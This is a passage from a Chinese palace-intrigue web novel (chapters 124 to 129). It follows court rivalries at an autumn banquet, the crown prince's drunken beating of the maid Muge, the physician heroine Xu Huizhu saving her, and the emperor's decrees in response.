“华阳县此番遭灾,虽朝廷救灾及时,妥善安置,但百姓生活仍艰难。”
“儿臣身为皇子,为民服务乃天职所在,不敢居功。”
“儿臣感念父皇赏赐千两黄金,儿臣愿从私库出黄金五百两,连同父皇赏赐的千两黄金,以朝廷名义一同捐给华阳县百姓,愿百姓挺过灾情,重现富足安定。”
大皇子李明远话音刚落,率先支持他的是钱相爷,“大皇子殿下大义之举啊。”
又说,“皇上,老臣愿捐三万两银子,解皇上之忧,缓百姓之苦。”
听听,钱丞相多会说话。
不愧为百官之首。
接着,厉贵妃站起身,温柔开口,“皇上,臣妾不懂政事,但也知民间疾苦,更心疼皇上和大皇子。”
“臣妾愿奉五年份例,尽微薄之力。”
皇上看向大皇子李明远和厉贵妃的目光,透着满意,含着欣慰。
“好好好。”皇上龙心大悦,一连说了三个“好”字。
徐从德惯会看眼色,猜帝意,身为户部尚书,自是该发挥不一样的作用。
“皇上,臣提议户部成立专项部,由专人负责款项,以确保每一笔善款用到实处。”
皇上点头,“那这件事,就交给徐爱卿来做。”
“臣遵旨。”徐从德不是一位好夫君,也不是一位好父亲,但他能一路爬上户部尚书的高位,一半才能一半钻营。
皇后娘娘和太子的脸,一寸一寸黑下来,敢情忙活半晌,倒给旁人搭戏台子。
原本为太子
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庆贺生辰,也为太子赈灾请功,哪成想,风头被大皇子当众抢了去。
怎能不气?
如何不怒?
皇后娘娘给太子使眼色,奈何太子根本不屑大皇子李明远的跳梁小丑作为,蹦跶再欢实又如何?
父皇绝不可能立大皇子李明远为储君,他就欣赏大皇子李明远像个小丑一样自嗨。
太子不配合,皇后娘娘只得独自撑场,“皇上,太子早先同臣妾商量过,生辰宴上收的贺礼全数捐给华阳县百姓。”
“臣妾便让太子等秋日宴结束后,私下同皇上说,太子身为储君,华阳县百姓亦他的子民,爱护子民是他该做的事,没必要弄得人尽皆知……”
皇后娘娘等同明说大皇子李明远等人作秀,内涵大皇子李明远高调抢眼,而太子低调谦虚。
气氛陷入僵硬。
在场众人各怀心思,朝臣怎么想不重要,关键在于皇上怎么想。
厉贵妃不说话,她看向皇上,眼里尽是信任,一副“皇上只要信任,我不在乎旁人怎么看我如何说我”的认真模样。
皇上似是没瞧见妻妾相斗,儿子相争,举杯君臣同饮。
又坐了一会儿,皇上离去,秋日宴仍继续。
皇后娘娘稳坐凤位上,笑不达眼底,“听说徐夫人治愈了贵妃的经痛之症,贵妃许以一套紫水晶头面为诊金,不等徐夫人出宫门,贵妃又后悔,将那套紫水晶头面要回去了……”
“徐夫人,可有此事?”
皇后娘娘扮得温柔贤良的姿态,“本宫执凤印,掌后宫事,若后宫嫔妃有样学样,日后请徐夫人看诊,却拒不支付诊金,这等风气一旦形成,丢得便是皇家的脸面了。”
“所以,徐夫人,你如实说便是,本宫为你做主。若情况属实,本宫奉上双倍诊金。”
“若是一场误会,本宫就让内务府查一查,流言蜚语的源头,必按宫规严惩。”
皇上不在,皇后娘娘身份最尊最贵,她倒要看看厉贵妃一个上了年纪的狐媚子还怎么兴风作浪。
厉贵妃不是要脸嘛,就莫怪她出手撕开厉贵妃的虚伪面具......
第125章:贵人打架,殃及池鱼
徐慧珠正在“吃瓜”,不成想,吃到自己身上。
她,被皇后娘娘当众点名。
贵人打架,殃及池鱼。
她就是可怜见的池鱼。
无数目光齐刷刷射向徐慧珠,有威胁,有嘲讽,有担忧,有幸灾乐祸……
厉贵妃没想到皇后娘娘拿此事说嘴,这位皇后娘娘也是有趣之人,说她傻吧,有时真会犯蠢。
说她智慧吧,有时精明过头。
这些年,她在后宫同皇后娘娘斗,和皇后娘娘争,各有输赢。
后来,她看明白了,不是她心计不够,也不是她心肠不狠,皇上宠她,却也护着皇后娘娘。
“皇后娘娘惦念臣妾的身体,臣妾十分感动。”
相比于皇后娘娘说话直白,厉贵妃更擅长嘴皮子战争,软刀子捅人。
又说,“皇上心疼本宫多年来受经痛之症困扰,遂请徐夫人为本宫看诊。”
“徐夫人颇有医术天赋,本宫服用汤药后,病痛得到缓解。”
“本宫便求皇上,允徐夫人执牌行医,日后宫里嫔妃、大宅贵夫人……若身体有恙之时,可请徐夫人诊治。”
“大家同为女子,有些话,说起来还是方便些。”
徐慧珠目光微暗,厉贵妃不仅为自己脸上贴金,还打着皇上的幌子给她安排活计,不过问一句她的意愿。
最重要的是,厉贵妃此举会给旁人造成一种错觉,她和徐慧珠私下关系亲近。
那么,大皇子李明远和姜夜沉呢?
“回禀皇后娘娘,臣妇只管看诊,收取诊金一事得问将军。”
“将军说臣妇这双手,是救人性命的圣手,用来数银票,着实委屈。”
徐慧珠不急不慌,不管对方招式猛如虎,她随手甩锅给姜夜沉。
皇后娘娘和厉贵妃,哪个徐慧珠都得罪不起,那就明面上两不得罪。
姜夜沉陪着皇上回了君皇殿,皇后娘娘总不能派人去问姜夜沉:贵妃娘娘有没有付诊金?付了多少?
众人:大将军的一双手,是上阵杀敌的手,用来数银票,大材小用。
“多谢贵妃娘娘称赞臣妇的医术,皇上特许臣妇行医一事,臣妇一早听将军说了。”
徐慧珠的眼神,恰好添上一抹疑惑、惊讶,“可……可将军说,是他求皇上,为臣妇求来行医的资格。”
“原来……原来这里面还有贵妃娘娘为臣妇美言,臣妇着实感动,回头就同将军说道,备一份厚礼谢贵妃娘娘美言之恩。”
厉贵妃娴静的脸,开始裂缝。
啪啪打脸的感觉,原来很痛,很羞耻。
厉贵妃的吃相,十分不雅啊。
“其实,我和师傅普神医奉皇命为凝玉公主调理身子,平日虽不得空闲,但诸位贵人若遇急症,可派人来将军府知会……”
接着,皇后娘娘的脸,也变了颜色。
皇后娘娘的吃相,更难看。
“够了,皇后娘娘,厉贵妃,两位吃醉了酒,就回去歇着,莫在这里胡言乱语,平白破坏气氛。”
“慧珠医者仁心,先是救过凝玉的性命,如今凝玉的身子还得仰仗慧珠调理,皇后娘娘便是这般对待凝玉的救命恩人?”
“厉贵妃当真厉害,前脚受慧珠诊治,缓解困扰多年的经痛之症,虽比不过救命之恩,但也是恩情,厉贵妃倒好,恩将仇报啊。”
这么大不敬的训斥,唯有元乐长公主敢。
皇上不在,他的妻妾就想着闹一场,却忘了元乐长公主还在。
皇后娘娘和厉贵妃齐齐闭了嘴,但谁也没说先主动离开的话。
两人乖觉了,元乐长公主冷哼一声,懒得再费唇舌。
若不是嫌她们闹腾,终归丢皇上的脸面,元乐长公主才不会管,说不得心血来潮下一回赌注,看看两人闹过之后,谁伤得更惨……
徐慧珠感激地看向元乐长公主,真想扑到元乐长公主的怀里,叫一声“娘亲”。
这种感觉很美妙,她被坏人欺负了,窝在娘亲怀里大哭一场,然后狠狠告坏人一状,等娘亲为她出头。
“慧珠,坐本宫身边来,陪本宫说说话。”
元乐长公主此话一出,又
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引起不小骚动。
“是,长公主殿下。”
徐慧珠一点儿也不矫情,在众人或嫉妒或愤恨的目光注视下,她走到元乐长公主身旁,挨着元乐长公主坐,喝元乐长公主的茶水,吃元乐长公主的糕点。
这般正式的宫宴,元乐长公主身份尊贵,她的座位仅次于皇上和皇后娘娘,与厉贵妃同位。
论打脸,元乐长公主才是个中高手,她打的是皇后娘娘和厉贵妃的贵脸啊。
徐桂珍悄悄拧了一把荣婷,猛使眼色,她快要被荣婷气**,若不是亲生,她恨不得当场掐死。
“啊?”
“好痛。”荣婷吃痛惊叫。
“闭嘴,这里不是你作死的地方。”荣慧不似徐桂珍目光短浅,刚刚“打架”的三位贵人,她不过小小郡王妃,谁都招惹不起。
可恨徐慧珠不知哪根筋抽风,竟带徐桂珍和荣婷这一对蠢货母女入宫赴宴。
不管怎么说,徐桂珍是她的嫡母,荣婷是她的妹妹,荣家是她的娘家……一旦她们出事,必定连累她这个郡王妃。
徐慧珠这个**,又害她。
徐慧珠哪里知晓,荣慧的心里戏这般精彩纷呈,一人可演一出。
荣婷本就胆小,这一惊一吓,糕点卡在喉咙里,吐不出来咽不下去,憋的她满脸通红。
徐桂珍瞧着狼狈的女儿,又气又心疼,忙倒了一杯温茶给荣婷灌下去。
万幸,荣婷坐的位置正好被蔷薇花架挡着,坐在上位的贵人瞧的不真切,只是闹出的响动到底惊动了皇后娘娘。
这时,李生德一脸急色禀报,“皇后娘娘,贵妃娘娘,元乐长公主,皇上请三位移步东宫小佛堂。”
又瞧见徐慧珠,说道,“皇上还说,请徐夫人一同去。”
秋日宴仓促结束,襄王妃留下收尾,不管众人心里有多好奇发生了何等大事,都得出宫去。
不过,也不必着急,皇宫里的秘密,大多时候也不见得藏得住。
等到达东宫小佛堂时,便看到暮歌浑身是血躺在地上,不知生死……
第126章:太子殿下的疯病又犯了
太子跪在地上,散发浓郁酒气。
只是,酒气里隐着一股淡淡的香。
徐慧珠目色渐凉,太子的疯病又犯了。
这回,太子打的是厉贵妃身边的宫女暮歌,不,暮歌很快就是大皇子李明远的侧妃了。
太子是疯魔了不成?他怎能对暮歌下手?
徐慧珠下意识看向厉贵妃,只见厉贵妃用帕子捂住嘴,一副震惊的模样,泪流满面。
徐慧珠看了一眼暮歌,她转瞬明白为何皇上让她来,她得脱光暮歌的衣裙仔细检查每一寸肌肤。
“徐氏,先救人要紧。”皇上下令。
徐慧珠挽起袖子,一边打开太医院送来的药箱,一边提要求,“从表面看,病人受到殴打,至于伤得如何,还得做细致检查,暂且不可移动。”
“请皇上移步佛堂外,请太医院立刻送来一碗参汤,须百年人参熬制。”
皇上冷声下令,“准。”
佛堂的门关上,室内留下徐慧珠和金秋金冬,还有躺在地上奄奄一息的暮歌。
院子里,皇上坐在椅子上,元乐长公主坐在下手,李生德和姜夜沉站在两侧,皇后娘娘等人齐齐跪在地上。
天子怒火,谁能承受?
元乐长公主的目光落在小佛堂的门上,心里嗤笑:心里生魔的坏东西,就是夜夜睡在菩萨的注视下,也驱散不走他的恶。
“皇兄,到底怎么回事?”
唯有元乐长公主敢开口问。
皇上示意姜夜沉,“夜沉,你来说,也让皇后听听他的好儿子,本皇的好太子,又做了何等畜牲不如的事。”
也算没有外人在场,皇上大怒之下,说话难听了些。
“贵妃,你且起来,赐座。”
“是,臣妾……谢皇上疼惜。”
厉贵妃坐在软凳上,无声哭泣,可见她的伤心,却懂事的不添乱,不让皇上为难。
皇后娘娘眼生恨意,只得咬碎银牙吞入腹中,她堂堂皇后之尊跪着,元乐长公主坐着也就罢了,厉贵妃这个**也坐着。
皇后娘娘深吸一口气,眼下不是嫉妒厉贵妃的时候,太子又闯祸,这回如何善了?
皇后娘娘只觉得心口一阵抽痛,眼前发黑,浑身发冷无力,她生育的一双儿女是来讨她的命吗?
“皇上,这……这?”
皇后娘娘只得硬着头皮为太子辩解,“定是暮歌那贱婢趁太子醉酒勾引,妄想爬上太子的床,太子不愿,言语拒绝不听,这才下手重了些……”
皇上一记冷眼扫过去,皇后娘娘止住声。
皇后娘娘身在秋日宴,并未亲眼所见,明明太子是施暴者,到了皇后娘娘的嘴里却受了天大的委屈。
实在是好笑至极。
只怕,在皇后娘娘的眼里,太子曾失手打死太子妃,皇上虽严罚太子,但还是保住太子的名声。
这一回,太子殴打了一名低贱宫女,就算是厉贵妃的宫女,又如何?身份高贵过太子妃不成?
皇后娘娘笃定,皇上是生气,是动怒,最终还是会大事化小小事化了,不了了之。
太子睁着一双迷离通红的醉眼,梗着脖子狡辩,“父皇明鉴,是……是那贱婢行勾引之事,儿臣不过拒绝的粗暴了些,也为断贱婢的痴念啊。”
不愧为母子,心有灵犀,想法出奇一致。
“听说这贱婢先是勾引大皇子,得逞后却嫌大皇子府侧妃的名分不够尊贵,便做起‘飞上枝头变凤凰’的美梦,妄想做东宫太子妃。”
“呵,孤不似大皇子肤浅,绝看不上这种朝三暮四的女子。”
太子一惯姿态嚣张,再加上酒酿刺激,心中恶念被无限放大。
太子并不知,他喝下的酒酿里,姜夜沉亲手加了一味料。
“父皇?”大皇子李明远跪在地上,满眼痛色,“父皇,儿臣不知哪里得罪过太子殿下,竟这般羞辱儿臣?”
“暮歌是钱家贵女,入宫也是为陪伴母妃,暮歌的性情和品质深受母妃影响深远,是自洁自爱的良家女子。”
“儿臣绝不相信是暮歌勾引太子殿下……”
太子挑衅更甚,“大皇子不信孤,却信那个不知羞耻的贱婢,不惜以下犯上,冒犯孤?”
厉贵妃隐下眼里的异色,出声相帮,“大皇子,不要再说了,皇上心里自有决断。”
“皇上,臣妾……臣妾信皇上。”
只隔一道门,院里说话的声音,徐慧
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珠听得清楚。
她心里明了,今夜之事,亦与姜夜沉有关。
她手下动作未停,心思关注外面。
“金秋,先喂病人一枚止疼丸,再灌下参汤,她伤得极重,时刻探听呼吸。”
“金冬,用剪刀剪开病人的衣裙,擦干净血污,用力尽量轻。我要为病人检查全身,先确认哪些地方骨头碎裂,再涂抹药膏。”
接着,是长长一声叹息,又说,“这位姑娘,我会尽全力救治你,但你能不能活,六分靠我的医术,三分靠你的意志,一分看运气。”
“我们一起努力,拼一回,可好?”
“我信我的医术,你也要信自己的求生意志,菩萨在上会保佑你的。”
同样,徐慧珠在小佛堂里说话的声音,外面也听得真切。
直到这一刻,皇上才似乎明白,为何身份、容貌都不算上乘的徐慧珠偏偏就入了姜夜沉的眼?
有趣的灵魂,可贵的品质,还有一颗干净良善的心……堪堪配得上姜夜沉。
皇上不禁想起北疆的茫茫雪原上,那个说话有趣、笑容明媚的女子,她的容颜,姜夜沉继承了五成。她的眼睛,姜夜沉继承了十成。
元乐长公主重重拍在扶手上,“够了,皇兄让夜沉回话,一个个多嘴多舌什么?”
“夜沉,你来说。”
姜夜沉恭敬答道,“是,长公主殿下。”
锦衣卫是皇上的耳目,皇宫里发生的事情,身为统领的姜夜沉第一个得到消息。
“据锦衣卫禀报,太子在伊香殿旁的梅林撞见暮歌,命近侍绑了暮歌,带至东宫。”
“臣带队锦衣卫巡逻梅林附近,正巧遇见大皇子殿下在找人……待臣同大皇子殿下寻到东宫小佛堂,救下暮歌……”
事情经过不必细说,已经明了。
大皇子李明远和暮歌相约梅林幽会,不成想暮歌先遇到醉酒的太子,不知太子出于何种心思,姜夜沉和大皇子李明远亲眼看见暮歌被太子殴打重伤的凄惨模样。
但,从太子刚刚所言,他明知道暮歌即将是大皇子李明远的侧妃……恐怕,打暮歌事小,羞辱大皇子李明远才是太子的真实目的。
难道?
第127章:演醉?还是真醉?
难道因华阳县赈灾一事,大皇子李明远分走太子的功劳,由此被太子记恨于心?
难怪皇后娘娘和太子狡辩之时,大皇子李明远反应平淡,原来他拉着最强人证-姜夜沉。
是了,姜夜沉说的是真相,是实话,更因为姜夜沉说的话,皇上信。
皇上信,便是铁证。
“皇上?”皇后娘娘心中早有猜测,她又气又怒的是太子犯浑,却连痕迹都不清理。
啪啪。
啪啪。
皇后娘娘站起身,走向太子,啪啪甩了两耳光,“太子,本宫说过无数回,你喝不得酒,一旦醉酒就会发酒疯……”
“皇上,若无大皇子和暮歌在梅林私会的诱因,太子也没机会犯浑。但,太子错了就是错了,是该补偿。”
“太子和暮歌既有肌肤相亲,臣妾做主许以暮歌东宫侧妃,臣妾也会为暮歌备下一份嫁妆,让她风光大嫁。”
“皇上以为如何?”
又说,“如此,厉贵妃,大皇子,两位该满意了吧?”
皇后娘娘话音一落,众人脸色说不出的怪异,都被皇后娘娘的脑回路惊到,太子莫名殴打大皇子李明远的内定侧妃暮歌,先是诬陷暮歌勾引太子,接着又说太子无心之失,不过是发酒疯罢了。
如今,还要堂而皇之帮太子抢大皇子李明远的女人,美其名曰“补偿”?
都是侧妃,一边是王府侧妃,爬的再高不过王妃。但,东宫侧妃大不一样,待太子登上黄金座,东宫侧妃最不济会被册封妃位,甚至贵妃、皇贵妃,还有可能问鼎后位,成为天下至尊的女人。
太子醉眼迷离,不知他喝下多少酒,醒酒汤灌了两碗,还是醉的厉害。
太子是顺势而为,演醉?还是真醉?
“母后,你让孤娶一个不贞不洁的女人?孤岂不是吃了大亏?”太子目光挑衅,直视大皇子李明远,他是国之储君,就是羞辱大皇子,大皇子也得受着忍着。
他是君,大皇子是臣。
生在皇家,都是皇子,却分尊卑。
“皇上?”
“大皇子……大皇子……他?”厉贵妃满眼疼色,她倒是聪明,皇后娘娘和太子的一句不是,她都不说,在皇上面前,她扮演柔弱温顺。
这时,小佛堂的门打开,徐慧珠神色凝重从里面走出来,正欲下跪。
“徐氏,站着回话。”皇上说道。
声落地,数道目光射向徐慧珠,尤其是皇后娘娘和太子,他们不敢恨皇上,恨毒了徐慧珠。
当然,大皇子李明远也跪着,那又如何一样,皇上赐了厉贵妃坐,这对**母子明面上一个哭泣着脸,一个愤怒着脸,心里止不住偷着乐。
现在,皇上又给一个将军府妾室脸面,那一国皇后、国之储君的尊严呢?
“回禀皇上,臣妇不辱皇命,将暮歌姑娘从鬼门关拉了回来,师傅和太医们刚刚也为暮歌姑娘看诊,得出结论大致相同,仔细将养半年,内外伤可痊愈。”
“只是,暮歌姑娘子宫处破裂,受损已到无法修复的程度,此生不能有孕……”
徐慧珠说话时,悄悄观察这一场局里众人的眼睛,一个人演技再精湛,也会有泄露本色的瞬间。
他们或不在意暮歌的死活,而是每个人从中谋得多少利,害到多少人。
厉贵妃的眼里闪烁过一瞬失望,徐慧珠心下了然,也是印证她的直觉。
难道厉贵妃盼着太子打死暮歌?
厉贵妃不愿大皇子李明远和暮歌这对有情人终成眷属,是瞧不上暮歌的身份,觉得浪费了侧妃之位?还是厉贵妃察觉到大皇子李明远的秘密?
厉贵妃不惜害死暮歌,为的是断绝大皇子李明远不该生出的妄念吗?
“可怜见的暮歌啊,平白遭受无妄之灾,呜呜呜……得多痛啊。”厉贵妃哭湿一条帕子,哭得悲凄,却没说去看一眼暮歌。
徐慧珠心想,她或许该好心提醒暮歌认清厉贵妃的假情假意,以免暮歌少恨了仇人。
“赏徐氏白银千两,百年人参一株,医典十册。”皇上先是赏赐徐慧珠,并未令她退下,按说这等皇族丑闻,徐慧珠作为外人,可无资格当旁
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观者。
谁成想,皇上默许徐慧珠看戏。
此等厚待,比得到赏赐还让她心情愉悦。
接着,皇上直接下旨,这道旨意出乎所有人的意料。
“李生德,拟旨,钱氏暮歌才貌双姝,赐婚于太子,为东宫继太子妃。”
“皇上?”这回倒是异口同声。
李生德尖锐的声音响起,“圣旨已下,抗旨不尊,按律当诛。”
一下,就安静了。
抗旨,是杀头的罪,无一人敢。
“传本皇口谕,即日起,东宫不得出现一壶酒酿,太子不得饮一滴酒。”
“太子,待继太子妃入东宫后,身上若添一道新伤,你的身上会添十道。”
“夜沉,此事,就交给你了。”
皇上说的意思,如果太子的贵手犯贱,再次殴打暮歌,姜夜沉可对太子执鞭刑,好让太子的贵体真切地感受到疼痛为何物。
“臣领旨。”
姜夜沉行恭敬的礼,说最气人最伤人的话,“太子,臣……得罪了。”
皇上竟直接赐婚不说,还给暮歌太子妃的高位。
没人知晓皇上心里的真正想法,是警告太子?还是看穿厉贵妃的手段?还是给可怜的暮歌补偿?
厉贵妃止住了哭,大概是震惊于皇上连下的旨意。
同时,厉贵妃心里生出一股不安的情绪,不知是她的错觉,还是她心虚所致,她总感觉有一道目光若隐若现落在她的身上,那人似是洞察一切真相,包括她做过什么。
厉贵妃不敢抬眼搜寻目光来源……
“贵妃,此女是你宫里的人,又是钱氏女,在大婚前,就养在伊香殿,好生照顾。待出嫁时,你便备一份丰厚嫁妆,可愿意?”
厉贵妃心里咯噔一下,只有一个念头:完了,皇上知道了。
连大皇子李明远都认为她恩宠不衰,后宫之中,除了占得虚名的皇后娘娘,就她最为尊贵。
可,无人体会她心里的苦涩。
她的枕边人,其实,她从未看懂过,也未走进他的心。
她,不懂他。
第128章:私会为因,殴打重伤为果
“臣妾……臣妾谨遵皇命。”
厉贵妃不敢表现出丝毫犹豫,她清楚,皇上在警告她。
“明远,你走一趟杭州,代表本皇出席扬州书院举办的万书节。”皇上点了大皇子李明远的名。
有一句话,皇后说得在理,大皇子李明远和暮歌私会为因,后有太子殴打暮歌重伤为果。
“是,父皇,儿臣遵旨。”大皇子李明远再次感受到皇上的偏心。
也是,太子是嫡出皇子,又是国之储君,他李明远生在皇家,却占长不占嫡,未出生已注定尊卑有别。
活该受委屈。
可,他千般不平,万般不甘啊。
太子里里外外都是草包,皇上为何?
太子噗通一声栽倒在地,嘴里嘟囔一句“儿臣……儿臣听父皇的话”。
睡着了。
这一闹,就到了深夜。
徐慧珠一上马车,整个人靠在姜夜沉的身上,明明身体累到极致,精神异常亢奋。
“将军,你做了什么?”徐慧珠心里有无数个好奇。
“我未推波助澜,不过冷眼旁观罢了。”姜夜沉有问必答。
“厉贵妃派了一名小太监引太子去梅林,是我的人。”
“我还给太子喝的酒酿里加了一点东西,太子……太子他对皇上心无敬意,不,应该说太子狼心狗肺,不配为人子,竟私下求皇后娘娘给皇上下毒,太子等不及坐上黄金座。”
“徐慧珠,我忍不得,想要尽快毁掉太子……”
这就说得通,姜夜沉为何会替大皇子李明远作证。
姜夜沉收敛情绪,又说,“徐慧珠,你救活了暮歌,便是她的救命恩人,有些话由你来说,有些事由你来做,再合适不过了。”
“明日随我入宫,一是为暮歌复诊,二是去看一看凝玉公主,听李生德说,凝玉公主闹腾的厉害。”
徐慧珠自是明白姜夜沉的意思,“厉贵妃慈母心肠,她只对大皇子李明远慈母,对陪伴她五年的暮歌,却是蛇蝎心肠。这般面善心苦的女人,比皇后娘娘可怕,也比皇后娘娘更难对付。”
徐慧珠没有问姜夜沉,既及时发现厉贵妃的不怀好意,为何没救下无辜的暮歌?
不,暮歌身为钱氏女,便不算无辜,她被亲近、信任之人算计,是她该承受的生活沉重,是她须面对的人性残忍。
不管怎么说,暮歌入宫五年,侍奉厉贵妃五年,她心里难道不清楚厉贵妃是怎样的人。
能怪得了谁?
马车一路摇晃至将军府时,徐慧珠趴在姜夜沉的腿上,睡得香甜。
一夜无梦。
好眠至天明。
徐慧珠醒来才发现自己枕着姜夜沉的胳膊,枕了一夜,她有些不好意思,抬头对上姜夜沉的眼,下意识问出口,“将军,胳膊可酸疼?”
姜夜沉的另一只手极不安分,捏了捏徐慧珠发烫的耳垂,起了逗弄她的情趣,“那要分人……”
“我的胳膊一向挑剔,若是夜夜给慧珠当枕头,不酸不疼。若是换作旁的女人,我的胳膊怕是会失控扭断那人的脖子。”
谁会想到,冷漠无情的杀神将军却生得一张擅说情话的嘴。
徐慧珠觉得自己,真好命啊。
“怎么,夫人害羞了?”姜夜沉看着徐慧珠,怎么看都看不够。
徐慧珠辩说,“我认为夫妻关系中,夫君日常说情话哄妻子欢喜,是该尽的义务,将军可认同?”
姜夜沉点头,“北疆有一个妙智村,可谓世外桃源,若无村民向导带路,外人进不得村子。”
“那里,以女子为尊,但不会以男人为贱。男人打小就被教导爱护他生命里的女子,包括赐予他生命的母亲,血浓于水的姊妹,为他生儿育女的妻子,让他享受天伦之乐的女儿……”
“爱女子得幸福,反之,遭天谴。”
姜夜沉的回答,她极为满意。
用完早膳,徐慧珠便随着姜夜沉入宫。
姜夜沉身为锦衣卫统领,本就有护卫皇宫本职,他陪着徐慧珠先是去厉贵妃的伊香殿为暮歌复诊,生怕自家夫人被人欺负了去。
姜夜沉端理直气壮,浑然不在意旁人说他“假公济私”。
按照规矩,徐慧珠得先拜见厉贵妃,刚到殿外,姜夜沉止住脚步,“等一下。”
他凑到徐慧珠的耳旁,轻声道,“夫人,你的
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发间沾染了花瓣。”
他们刚路过御花园,桂花开得正好,香气浓郁,徐慧珠最喜桂花,便驻足赏了会儿。
凑巧大福带队锦衣卫巡查遇上李明博带队的禁卫军,有幸见证这样一幅唯美画面。
“这……这是大将军?”李明博揉了揉眼睛,以为自己看错了。
待瞧见李明博略显吃惊的表情,大福一脸傲娇地说,“世子您有所不知,我家将军说过一句至理名言:疼夫人会幸福,反之,遭天谴。”
若徐慧珠听到这句熟悉的话,定会感叹一句:有其将必有其兵。
姜夜沉还说了下一句,“正好赶上听墙角。”
伊香殿的正殿里,大皇子李明远来拜别厉贵妃,此去杭州,一去一回,再加上全程参与万书节,至少得三个月。
皇上已命钦天监选定太子大婚的良辰吉日,定**初,那时,大皇子李明远还在杭州,暮歌的身体也未痊愈。
但,天意不可改。
“母妃,求您让我见一面暮歌,哪怕只看一眼……”大皇子李明远不敢抗旨,太子为羞辱他,有胆量夺他的侧妃,他却不能抢太子的太子妃。
大皇子李明远昨夜出宫后,在书房坐至天明,他想起童时的一件旧事。
有一回,太子悄悄藏在伊香殿,偷看母妃沐浴,被抓现行后,他一边擦拭鼻血一边说,“厉母妃,你……你不穿衣裳的时候,美极了。”
他永远无法忘记太子那双恶心的眼神,他要去向皇上告状,却被母妃阻止。
母妃说,“这件事情传出去,伤得是本宫的名声。皇后娘娘会教太子狡辩说,太子和小太监玩捉迷藏游戏,不过是藏错了地方……”
“也可能,皇后娘娘借机倒打一耙,说本宫凭美色魅惑了皇上不说,还想用美色毁了年纪尚幼的太子,好觊觎东宫储君之位。”
“明远,你该明白,不管哪一种,本宫和你都落不得半点好。”
“这亏,只能咽下。”
好些年过去了,大皇子李明远仍如鲠在喉,难受在心。
思绪回笼,大皇子李明远一时说不清,是想起旧事?还是当真舍不下暮歌?
第129章:唯有**,她才能得利
无数目光盯着,大皇子李明远若敢看暮歌一眼,若敢同暮歌说一句话,定会生出事端。
“明远,如果你忍心逼死暮歌,母妃不拦你。”厉贵妃长长一声叹息,透着心疼、无奈。
“明远,事已成定局,即便拼了母妃的贵妃之位,你的大皇子身份……也是无用,你父皇……他不会收回圣意。”
“与其做无谓的反抗,无意义的牺牲,不如想一想,如何说服暮歌帮你。”
“明远,更重要的是,你我母子齐心协力示好徐慧珠,攻克姜夜沉,最终让北疆军和锦衣卫为你所用。”
“才是正事啊。”
内殿里母子两人的密谈,早已被武功深不可测的姜夜沉听去了墙角,听得光明正大。
只是,这墙角听得无趣,竟听到自己的身上。
他们在殿外遇上大皇子李明远,一番见礼过后,大皇子李明远说,“大将军的情,我记在心里,待我从杭州归来,再登门言谢。”
姜夜沉转移话题,“皇上命臣选一队锦衣卫随行,以护卫大皇子殿下的安危,人已候在宫门处,但凭大皇子殿下差遣。”
“臣祝大皇子殿下此去杭州,一路顺风,平安回京。”
大皇子李明远心里苦笑,却不敢泄露了情绪。
皇上这是不信任他,才派一队锦衣卫名为护送他南下杭州,不过为监视他。
再说,他能差遣得动锦衣卫?
他说的话,锦衣卫会听?
他下的命令,锦衣卫会遵?
他何尝不懂,没有三个月光景,归不得京城。
姜夜沉懂得如何气人,大皇子李明远撑着假笑又感谢姜夜沉一番,便出了宫。
徐慧珠去偏殿为暮歌看诊,暮歌还在昏睡。
医者仁心,徐慧珠能帮暮歌的,就是让她稍微迟一点点醒来。
“徐夫人,暮歌如何了?何时会醒?”厉贵妃满眼急色,好似她疼极了暮歌。
“回禀贵妃娘娘,明日这个时辰,暮歌姑娘大概率会清醒。只是,暮歌姑娘身心受损,情绪万万不可激动,贵妃娘娘是暮歌姑娘的亲人,可宽慰一二,有利于病人恢复。”
先让厉贵妃给暮歌讲故事,等待时机,暮歌再听到故事的另一种版本。
那就,越乱越精彩。
“徐夫人,辛苦。”厉贵妃掩下心里的冷意,若姜夜沉迟一点点赶到东宫小佛堂,说不得太子如她所愿,打**暮歌。
太子醉酒打死大皇子的未来侧妃,这样,太子犯下的错才够大。
皇上对太子的怒火有多旺盛,就对大皇子的愧疚有多强烈……唯有**,才能实现利益最大化。
暮歌的死,说不定能让大皇子问鼎东宫。
可惜,太子是个不中用也不中看的绣花枕头,姜夜沉多管闲事,大皇子李明远不该心软,徐慧珠不该会医术……他们坏了她的布局。
“赏。”
“听说徐夫人还要去香凝殿为凝玉公主复诊,本宫便不留你了。”
厉贵妃眼下乌青,昨夜未眠,一闭眼就浮现暮歌血淋淋的凄惨模样,实在吓人。
厉贵妃极少踏足东宫,也是头一回亲眼瞧见太子打女人,打在暮歌身上,得多痛啊。
暮歌到底侍奉她五年光景,若说心无一丝痛意,怎么可能。
“臣妇谢贵妃娘娘赏,臣妇告退,明日再来叨扰贵妃娘娘。”
徐慧珠抱着锦盒,里面装着亮晶晶的银元宝,心想,这伊香殿她得来得勤快些,她本就贪财,不嫌银子多累手。
姜夜沉站在伊香殿门口,像尊冷冰冰的门神,引得路过宫人侧目,纷纷猜测姜夜沉大清早守着伊香殿的大门做什么。直到看见徐慧珠,宫人们眼见为实:大将军疼夫人,如珠如宝啊。
香凝殿大门敞开,凝玉公主珠钗散乱,只着一身薄裙,正对鬼面具男子展露风情。
“曹文,你速去禀告父皇,本宫要见父皇……”
凝玉公主扯开薄裙,露出春光,威胁道,“曹文,你敢不帮本宫,本宫现在就大喊大叫,说曹文你觊觎本宫美貌,仗权谋私,意欲玷污本宫。”
“曹文,你说,父皇会治你什么罪?”
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凝玉公主这是破罐子破摔,彻底不要脸面了。
每一回见凝玉公主,她总不会让人失望,疯气十足。
曹文冷冷拍开凝玉公主伸过来的玉手,虽轻轻一下,甚至凝玉公主并未感觉肌肤接触,但凝玉面容失色,惊叫出声,只觉痛到失感。
“啊……”
曹文的声音冰冷刺骨,“公主殿下随意。”
凝玉公主看到姜夜沉,顿时换上柔弱表情,恶人先告状,“夜沉,救本宫。”
“曹文不分青红皂白打本宫,呜呜呜……好痛啊。”
凝玉公主演的卖力,可惜,“观众”大概欣赏不来她的美。
“这么巧,曹统领今日当值。”姜夜沉神色一暗,挡住曹文的目光。
他从来不信巧合之说。
前几日,曹文奉皇上密令去了一趟灵县,不在皇宫,怎地一回来就当值?堂堂护龙卫统领,为凝玉公主守门,太大材小用。
曹文在等人,等徐慧珠?
“大将军今日也得空?”曹文难得话多一回。
“本将军今日也当值,正好我家夫人奉皇命为公主殿下看诊,本将军就利用职务便利,假公济私一回。”姜夜沉牵起徐慧珠的手,介绍道,“夫人,这位是曹统领。其实,夫人不必认识,曹统领长什么样,唯有皇上见过,大抵太丑……”
